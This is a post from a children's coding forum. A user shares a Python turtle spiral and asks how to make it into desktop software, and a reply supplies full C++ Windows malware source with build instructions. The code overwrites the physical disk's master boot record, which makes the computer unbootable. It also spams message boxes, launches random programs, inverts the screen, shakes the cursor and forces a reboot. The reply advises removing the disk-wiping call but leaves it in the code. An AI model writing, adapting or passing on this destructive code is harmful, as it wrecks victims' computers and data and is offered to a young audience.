用户:
120519查看:7 回复:12 评论:7 创建时间:2023-06-17T22:38:27
【作品展示】

【作品介绍】
咋样才能做成桌面软件,求教(做这个主要是防端午家里来手喵小孩)图片
【作品源代码】
from turtle import *
forward(280)
speed(10)
color('cyan')
bgcolor('black')
b = 200
while b >= 0:
left(b)
forward(b * 3)
b = b - 1
turtle.done()
【提示】
部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:
https://python.codemao.cn
PlumSteven送你一串,建议把mainProgramThread线程里面的writeMBR去掉,不然你电脑要废
如何运行:下载Visual Studio(把C++桌面开发装了),新建项目,复制进去F5运行
不过你正常运行应该不会有事,因为writeMBR函数需要管喵权限
#include <Windows.h>
using namespace std;
#define MAX_EXECUTE 5
#define MAX_SOUNDS 3
#pragma comment(lib, "winmm.lib")
HCRYPTPROV prov;
//彩虹猫原版随机函数
int random() {
if (prov == NULL)
if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT))
ExitProcess(1);
int out;
CryptGenRandom(prov, sizeof(out), (BYTE*)(&out));
return out & 0x7fffffff;
}
LPCWSTR lpExecuteName[MAX_EXECUTE] = {
L"calc",
L"cmd",
L"exlporer",
L"mspaint",
L"write"
};
LPCWSTR lpSoundsName[MAX_SOUNDS] = {
L"SystemHand",
L"SystemQuestion",
L"SystemExclamation"
};
void writeMBR() {
//硬盘文件名
LPCSTR DiskFileName = "\\\\.\\PhysicalDrive0";
//主引导记录
char code[] =
"你的电脑被Oops毁了!"
"如果想重新开机,请使用PE系统恢复! ";
BYTE MBR[512];
DWORD s = NULL, t = NULL;
/* 文件句柄 */
HANDLE handle = NULL;
//构造MBR
memcpy(MBR, code, sizeof(code) - 1);
//打开硬盘
handle = CreateFileA(
DiskFileName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
0,
0);
if (handle == INVALID_HANDLE_VALUE)
{
//打开文件失败
MessageBoxA(NULL, (LPCSTR)"Can't Create File!", (LPCSTR)"error", MB_OK);
return;
}
else {
//写入新的MBR
WriteFile(handle, MBR, sizeof(MBR), &t, NULL);
DeviceIoControl(handle, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &s, NULL);
CloseHandle(handle);//关闭文件
MessageBoxA(NULL, (LPCSTR)"successful", (LPCSTR)"ok", MB_OK);
return;
}
return;
}
void openRandomProgram() {
HWND desktop = GetDesktopWindow();
ShellExecute(desktop, L"open", lpExecuteName[random() % MAX_EXECUTE], NULL, NULL, SW_SHOWNORMAL);
}
void shakeCursor() {
POINT cursor;
const int cursor_freq = 0;
GetCursorPos(&cursor);
SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 5)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 5)));
}
void colorReverse() {
HWND desktop = GetDesktopWindow();
HDC hdc = GetWindowDC(desktop);
RECT rectd;
GetWindowRect(desktop,& rectd);
BitBlt(hdc, 0, 0, rectd.right - rectd.left, rectd.bottom - rectd.top, hdc, 0, 0, NOTSRCCOPY);
ReleaseDC(desktop, hdc);
}
void errorSound() {
PlaySound(lpSoundsName[random() % MAX_SOUNDS], GetModuleHandle(NULL), SND_SYNC);
}
void PlayloadIcon()
{
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
HWND hDesktop = GetDesktopWindow();
HDC hdc = GetWindowDC(hDesktop);
POINT cursor;
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
if (random() % 70 == 0)
DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
if (random() % 70 == 0)
DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
if (random() % 70 == 0)
DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));
}
DWORD WINAPI messageThread(LPVOID lpParameter){
MessageBox(NULL, L"Oops!", L"Oops", MB_OKCANCEL+16);
return 0;
}
DWORD WINAPI moveMessageThread(LPVOID lpParameter) {
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
HWND hwnd = GetForegroundWindow();
RECT rect;
GetWindowRect(hwnd, &rect);
MoveWindow(hwnd, random() % iDesktopWidth, random() % iDesktopHeight, rect.right - rect.left, rect.bottom - rect.top, TRUE);
return 0;
}
DWORD WINAPI shakeCursorThread(LPVOID lpParameter) {
while (TRUE) {
shakeCursor();
}
return 0;
}
DWORD WINAPI printIconThread(LPVOID lpParameter) {
while (TRUE) {
PlayloadIcon();
}
}
DWORD WINAPI otherThread(LPVOID lpParameter) {
while (TRUE) {
colorReverse();
errorSound();
Sleep(1000);
}
return 0;
}
DWORD WINAPI mainProgramThread(LPVOID lpParameter) {
writeMBR();
Sleep(20000);
for(int i=0;i<10;i++)
openRandomProgram();
Sleep(15000);
HANDLE mainThread, cursorThread, boxThreads[10001], moveThreads[10001], icoThread;
cursorThread = CreateThread(NULL, 0, shakeCursorThread, NULL, 0, NULL);
Sleep(20000);
mainThread = CreateThread(NULL, 0, otherThread, NULL, 0, NULL);
Sleep(5000);
icoThread = CreateThread(NULL, 0, printIconThread, NULL, 0, NULL);
int cnt = 0;
while(1) {
boxThreads[cnt] = CreateThread(NULL, 0, messageThread, NULL, 0, NULL);
moveThreads[cnt++] = CreateThread(NULL, 0, moveMessageThread, NULL, 0, NULL);
Sleep(500);
}
return 0;
}
//不要管这个
DWORD WINAPI waitForBSOD(LPVOID lpParameter) {
Sleep(90000);
system("reboot");
return 0;
}
DWORD WINAPI mainProgram(LPVOID lpParameter) {
HANDLE mainp, waitp;
mainp = CreateThread(NULL, 0, mainProgramThread, NULL, 0, NULL);
waitp = CreateThread(NULL, 0, waitForBSOD, NULL, 0, NULL);//也不要管这个
while (1) {}
return 0;
}
int main()
{
// openRandomProgram();
int first_request = MessageBox(NULL, L"您确定要运行这个程序吗?\n请注意!本程序可能会损害您的电脑!\n若造成损失,作者一律不负责!", L"注意事项", MB_YESNO+16);
if (first_request == IDNO) return 0;
int second_request = MessageBox(NULL, L"最后一次警告!您确定要运行这个程序吗!\n本程序可能会损害您的电脑!造成文件丢失!\n您真的想运行吗?", L"注意事项", MB_YESNO+16);
if (second_request == IDNO) return 0;
HANDLE mainThread, cursorThread;
mainThread = CreateThread(NULL, 0, mainProgramThread, NULL, 0, NULL);
WaitForSingleObject(mainThread, INFINITE);
// CloseHandle(mainThread);
// CloseHandle(cursorThread);
return 0;
}点赞0
评论